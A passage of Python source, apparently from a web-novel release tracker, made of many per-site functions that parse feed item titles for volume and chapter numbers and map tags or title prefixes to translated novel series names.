	if 'Reincarnated by the God of Creation' in item['tags']:
		return buildReleaseMessage(item, 'Reincarnated by the God of Creation', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'Status Meister' in item['tags']:
		return buildReleaseMessage(item, 'Status Meister', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def  extractEyeofAdventure(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractAyaxWorld(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractFalinmer(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None

	match = re.search(r'(\d+)\-(\d+)', item['title'])
	if not vol and match:
		vol = match.group(1)
		chp = match.group(2)

	if item['title'].lower().startswith("mcm") and not "raw" in item['title'].lower():
		return buildReleaseMessage(item, 'Magi Craft Meister', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractBearBearTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractBeRsErkTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractDefansTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractCrappyMachineTranslation(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Blade Online' in item['tags']:
		return buildReleaseMessage(item, 'Blade Online', vol, chp, frag=frag, postfix=postfix)
	if "Another World's Savior" in item['tags']:
		return buildReleaseMessage(item, "Another World's Savior", vol, chp, frag=frag, postfix=postfix)
	return False

def  extractAGreyWorld(item):
	'''
	# 'A Grey World'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractChronaZero(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'tensei jinsei' in item['tags']:
		return buildReleaseMessage(item, 'Cheat Aru Kedo Mattari Kurashitai《Tensei Jinsei o Tanoshimou!》', vol, chp, frag=frag, postfix=postfix)
	if 'Level up by walking' in item['tags']:
		return buildReleaseMessage(item, 'Level up By Walking: in 10 thousand steps I will be level 10000', vol, chp, frag=frag, postfix=postfix)

	if 'When you actually went to be another world not as the Hero but as the Slave and then...' in item['tags']:
		return buildReleaseMessage(item, 'When you actually went to be another world not as the Hero but as the Slave and then...', vol, chp, frag=frag, postfix=postfix)

	return False

def  extractFightingDreamersScanlations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Light Novel' in item['tags'] and 'Slayers Special' in item['tags']:
		return buildReleaseMessage(item, 'Slayers Special', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractDarkTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if item['title'].lower().startswith("kuang shen"):
		return buildReleaseMessage(item, 'Kuang Shen', vol, chp, frag=frag, postfix=postfix)
	if item['title'].lower().startswith("sheng wang chapter"):
		return buildReleaseMessage(item, 'Sheng Wang', vol, chp, frag=frag, postfix=postfix)
	if "lord xue ying chapter" in item['title'].lower():
		return buildReleaseMessage(item, 'Lord Xue Ying', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def  extractEZTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractFlickerHero(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractBallKickingGangBoss(item):
	'''
	# "'Ball'-Kicking Gang Boss"
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'jinsei' in item['tags']:
		return buildReleaseMessage(item, "I'll Live My Second Life!", vol, chp, frag=frag, postfix=postfix)
	return False

def  extractAPearlyView(item):
	'''

	'''
	if 'K-Drama Recaps' in item['tags']:
		return None
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractAoriTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'WT' in item['tags']:
		return buildReleaseMessage(item, "World Teacher - Different World Style Education Agent", vol, chp, frag=frag, postfix=postfix)
	if 'Lv2' in item['tags']:
		return buildReleaseMessage(item, "Ex-Hero Candidate's, Who Turned Out To Be A Cheat From Lv2, Laid-back Life In Another World", vol, chp, frag=frag, postfix=postfix)
	return False

def  extractCloudTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractDadIsHeroFanTranslations(item):
	'''
	# 'DadIsHero Fan Translations'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractDuranDaruTranslation(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractFungShen(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Shrouded' in item['tags']:
		return buildReleaseMessage(item, 'Shrouded', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def  extractEpyonTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'magic robot aluminare ch' in item['title'].lower():

		match = re.search(r'ch ?(\d+)\-(\d+)', item['title'])
		if match:
			chp  = match.group(1)
			frag = match.group(2)
			return buildReleaseMessage(item, 'Magic Robot Aluminare', vol, chp, frag=frag, postfix=postfix)
		return buildReleaseMessage(item, 'Magic Robot Aluminare', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def  extractAliceTranslations(item):
	'''
	# 'Alice Translations'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractAdamantineDragonintheCrystalWorld(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None

	if 'Crystal World' in item['tags']:
		return buildReleaseMessage(item, 'Adamantine Dragon in the Crystal World', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractFakTranslations(item):
	'''
	# 'Fak Translations'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Shrouding the Heavens' in item['tags'] or 'STH' in item['tags']:
		return buildReleaseMessage(item, 'Shrouding the Heavens', vol, chp, frag=frag, postfix=postfix)
	if 'KGGD' in item['tags']:
		return buildReleaseMessage(item, 'Killing Grounds of Gods and Devils', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractDemerithTranslation(item):

	'''
	# 'Demerith Translation'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractAnotherWorldTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Depths of Labyrinth' in item['tags']:
		return buildReleaseMessage(item, 'Aim for the Deepest Part of the Different World\'s Labyrinth', vol, chp, frag=frag, postfix=postfix)
	if 'Because, Janitor-san Is Not a Hero' in item['tags']:
		return buildReleaseMessage(item, 'Because, Janitor-san Is Not a Hero', vol, chp, frag=frag, postfix=postfix)
	if 'World Death Game' in item['tags']:
		return buildReleaseMessage(item, 'The World is Fun as it has Become a Death Game', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractDeadlyForgottenLegends(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractAlbertKenoreijou(item):
	'''
	#'Albert Kenoreijou'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False


def  extractDuckysEnglishTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractDekinaiDiary(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Konjiki no Word Master' in item['tags']:
		return buildReleaseMessage(item, 'Konjiki no Word Master', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractBijinsans(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Benkyou no Kamisama wa Hitomishiri' in item['tags']:
		return buildReleaseMessage(item, 'Benkyou no Kamisama wa Hitomishiri', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractArchivity(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractCheddar(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractAllsFairInLoveWar(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractEnte38translations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractCatScans(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractAmeryEdge(item):
	'''
	# 'Amery Edge'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None

	if 'Articles' in item['tags'] or 'Guides' in item['tags']:
		return None

	if 'Your Highness, I Know My Wrong' in item['tags'] or 'Your Highness, I Know My Wrongs' in item['tags']:
		return buildReleaseMessage(item, 'Your Highness, I Know My Wrong', vol, chp, frag=frag, postfix=postfix)
	if '108 Star Maidens of Destiny' in item['tags']:
		return buildReleaseMessage(item, '108 Star Maidens of Destiny', vol, chp, frag=frag, postfix=postfix)
	if 'Zombie Girl, Where Are You?' in item['tags']:
		return buildReleaseMessage(item, 'Zombie Girl, Where Are You?', vol, chp, frag=frag, postfix=postfix)
	if 'Ultimate Assassin System' in item['tags']:
		return buildReleaseMessage(item, 'Ultimate Assassin System', vol, chp, frag=frag, postfix=postfix)
	if 'Assassin Farmer' in item['tags']:
		return buildReleaseMessage(item, 'Assassin Farmer', vol, chp, frag=frag, postfix=postfix)
	if 'I Am A Killer' in item['tags']:
		return buildReleaseMessage(item, 'I Am A Killer', vol, chp, frag=frag, postfix=postfix)
	if '108 Maidens of Destiny' in item['tags']:
		return buildReleaseMessage(item, '108 Maidens of Destiny', vol, chp, frag=frag, postfix=postfix)

	return False

def  extractDokuHanaTranslations(item):
	'''
	#'DokuHana Translations'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False


def  extractDurasama(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Arifureta' in item['tags']:
		return buildReleaseMessage(item, 'Arifureta', vol, chp, frag=frag, postfix=postfix)
	if 'Manuke FPS' in item['tags']:
		return buildReleaseMessage(item, 'Manuke na FPS Player ga isekai e ochita baai', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractCurrentlyTLingBuniMi(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None

	if item['title'].startswith("[BNM]"):
		return buildReleaseMessage(item, 'Bu ni Mi wo Sasagete Hyaku to Yonen. Elf de Yarinaosu Musha Shugyou', vol, chp, frag=frag, postfix=postfix)
	if item['title'].startswith("[DD]"):
		return buildReleaseMessage(item, 'Doll Dungeon', vol, chp, frag=frag, postfix=postfix)
	if item['title'].startswith("[HCLS]"):
		return buildReleaseMessage(item, 'High Comprehension Low Strength', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractGOChronicles(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractDisappointingTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'GSB' in item['tags']:
		return buildReleaseMessage(item, 'Galaxy Shattering Blade', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractForwardSlash(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Isekai ni Demodori Shimashita?' in item['tags']:
		return buildReleaseMessage(item, 'Isekai ni Demodori Shimashita?', vol, chp, frag=frag, postfix=postfix)

	return False

def  extractCodeZerosBlog(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractFalamarTranslation(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Isekai ni kanaderu densetsu' in item['tags']:
		return buildReleaseMessage(item, 'Isekai ni kanaderu densetsu ~toki wo tomeru mono~', vol, chp, frag=frag, postfix=postfix)
	if 'The road to become a transition master in another world' in item['tags']:
		return buildReleaseMessage(item, 'The Road to Become a Transition Master in Another World', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractEpithetic(item):
	'''
	# 'Epithetic'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractAresNovels(item):
	'''
	# 'Ares Novels'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractBladeOfHearts(item):
	'''
	# 'Blade of Hearts'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractATravelersTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractCautrs(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractEmergencyExitsReleaseBlog(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractFaketypist(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'The Magician wants Normality' in item['tags']:
		return buildReleaseMessage(item, 'Madoushi wa Heibon wo Nozomu', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractDeliciousTranslations(item):
	'''
	# 'Delicious Translations'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if item['title'].startswith('Pet Charm'):
		return buildReleaseMessage(item, 'Pet Charm', vol, chp, frag=frag, postfix=postfix)
	if item['title'].startswith('School Beauty Personal Bodyguard'):
		return buildReleaseMessage(item, 'School Beauty Personal Bodyguard', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractBadTranslation(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractDreamlessWindowsTranslation(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractChineseWeabooTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractFuzionLife(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractDreamAvenue(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractAlicetranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractCircleofShards(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractCloudManor(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Book of Sun & Moon Swordplay' in item['tags']:
		return buildReleaseMessage(item, 'Book of Sun & Moon Swordplay', vol, chp, frag=frag, postfix=postfix)
	if 'It is a Straight Road' in item['tags']:
		return buildReleaseMessage(item, 'It is a Straight Road', vol, chp, frag=frag, postfix=postfix)
	if 'Pursuit of Liao Yue Murderer' in item['tags']:
		return buildReleaseMessage(item, 'Pursuit of Liao Yue Murderer', vol, chp, frag=frag, postfix=postfix)
	if 'Rice Pot Next Door' in item['tags']:
		return buildReleaseMessage(item, 'Rice Pot Next Door', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractEnsigsWritings(item):
	'''
	#'Ensig\'s Writings'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Sword-shisho' in item['tags']:
		return buildReleaseMessage(item, 'I was a Sword when I Reincarnated!', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'Gentle Demon' in item['tags']:
		return buildReleaseMessage(item, 'Demon Noble Girl ~Tale of a Gentle Demon~', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'Undead(?) Life' in item['tags']:
		return buildReleaseMessage(item, 'Life(?) as an Undead', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	return False





def  extractAnotherParallelWorld(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractCrackofDawnTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	return False


####################################################################################################################################################
#
####################################################################################################################################################

def  extractEugeneRain(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractAnneAndCindy(item):
	'''
	# 'Anne And Cindy'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractATranslatorsRamblings(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractEvidasIndoRomance(item):
	'''
	# "Evida's Indo Romance"
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractELYSIONTranslation(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def  extractAltorocTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Shadow Rogue' in item['tags']:
		return buildReleaseMessage(item, 'Shadow Rogue', vol, chp, frag=frag, postfix=postfix)
	return False

def  extractAranTranslations(item):
	'''

	# 'Aran Translations'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if item['title'].startswith("IGE – "):
		return buildReleaseMessage(item, 'Imperial God Emperor', vol, chp, frag=frag, postfix=postfix)
	if item['title'].startswith("IDS – "):
		return buildReleaseMessage(item, 'Inverted Dragon\'s Scale', vol, chp, frag=frag, postfix=postfix)
	return False

def extractBluePhoenix(item):
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if item['title'].startswith("Chapter") and item['tags'] == ['Uncategorized']:
		return buildReleaseMessage(item, 'Blue Phoenix', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	return False
def extractDemonTranslations(item):
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'The Gate Of Good Fortune' in item['tags'] or item['title'].startswith('New TGOGF Chapter Release!!'):
		return buildReleaseMessage(item, 'The Gate Of Good Fortune', vol, chp, frag=frag, postfix=postfix)
	if 'The Unsuspecting Journey' in item['tags']:
		return buildReleaseMessage(item, 'The Unsuspecting Journey', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	return False
def extractFantasyNovels(item):
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractAlternativeProjects(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractApolloTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractElementalCobalt(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if item['title'].lower().startswith('arifureta chapter'):
		return buildReleaseMessage(item, 'Arifureta Shokugyou de Sekai Saikyou', vol, chp, frag=frag, postfix=postfix)
	if item['title'].lower().startswith('requiem to the stars'):
		return buildReleaseMessage(item, 'Requiem to the Stars', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	return False

def extractExtantVisions(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Lily Ex Machina' in item['tags']:
		return buildReleaseMessage(item, 'Lily Ex Machina', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	return False

def extractAnanasParfait(item):
	"""
	Ananas Parfait
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'The Sorcerer Laughs in the Mirror' in item['tags']:
		return buildReleaseMessage(item, 'The Sorcerer Laughs in the Mirror', vol, chp, frag=frag, postfix=postfix)
	return False
def extractAnimeMangaTranslations(item):
	"""
	Anime, manga, translations
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractAnkouTranslations(item):
	"""
	Ankou Translations
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractAntheor(item):
	"""
	Antheor
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Hisshou Dungeon Unei Houhou' in item['tags'] or 'HDUH Annoucement' in item['tags']:
		return buildReleaseMessage(item, 'Hisshou Dungeon Unei Houhou', vol, chp, frag=frag, postfix=postfix)
	if 'KYNE Announcement' in item['tags']:
		return buildReleaseMessage(item, 'Kami Sumeragi Yuusha no eiyuutan 《Ryokou Tan》', vol, chp, frag=frag, postfix=postfix)
	return False
def extractBo(item):
	"""
	Bo
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractChaosWords(item):
	"""
	Chaos Words
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractChinaLightNovel(item):
	"""
	China Light Novel
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractChineseNovelTranslated(item):
	"""
	Chinese Novel Translated
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractChocolateCosmosTranslations(item):
	"""
	ChocolateCosmos Translations
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractDatebayoBlog(item):
	"""
	Datebayo Blog
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractDaupao(item):
	"""
	Daupao
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractDeepAzureSky(item):
	"""
	Deep Azure Sky
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractDemonScorpionTranslations(item):
	"""
	Demon Scorpion Translations
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractDwrfTL(item):
	"""
	Dwrf TL
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractExMachinaAsia(item):
	"""
	ExMachina.Asia
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractFakeFruitsTranslations(item):
	"""
	Fake Fruits Translations
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False
def extractFantasyBooksLive(item):
	"""
	fantasy-books.live
	"""

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Heavenward On Golden Wings' in item['tags']:
		return buildReleaseMessage(item, 'Heavenward On Golden Wings', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'The Abandoned' in item['tags']:
		return buildReleaseMessage(item, 'The Abandoned', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'Regarding The Life of A Certain Fallen Noble' in item['tags']:
		return buildReleaseMessage(item, 'Regarding The Life of A Certain Fallen Noble', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'Orphans of a Dead Nation' in item['tags']:
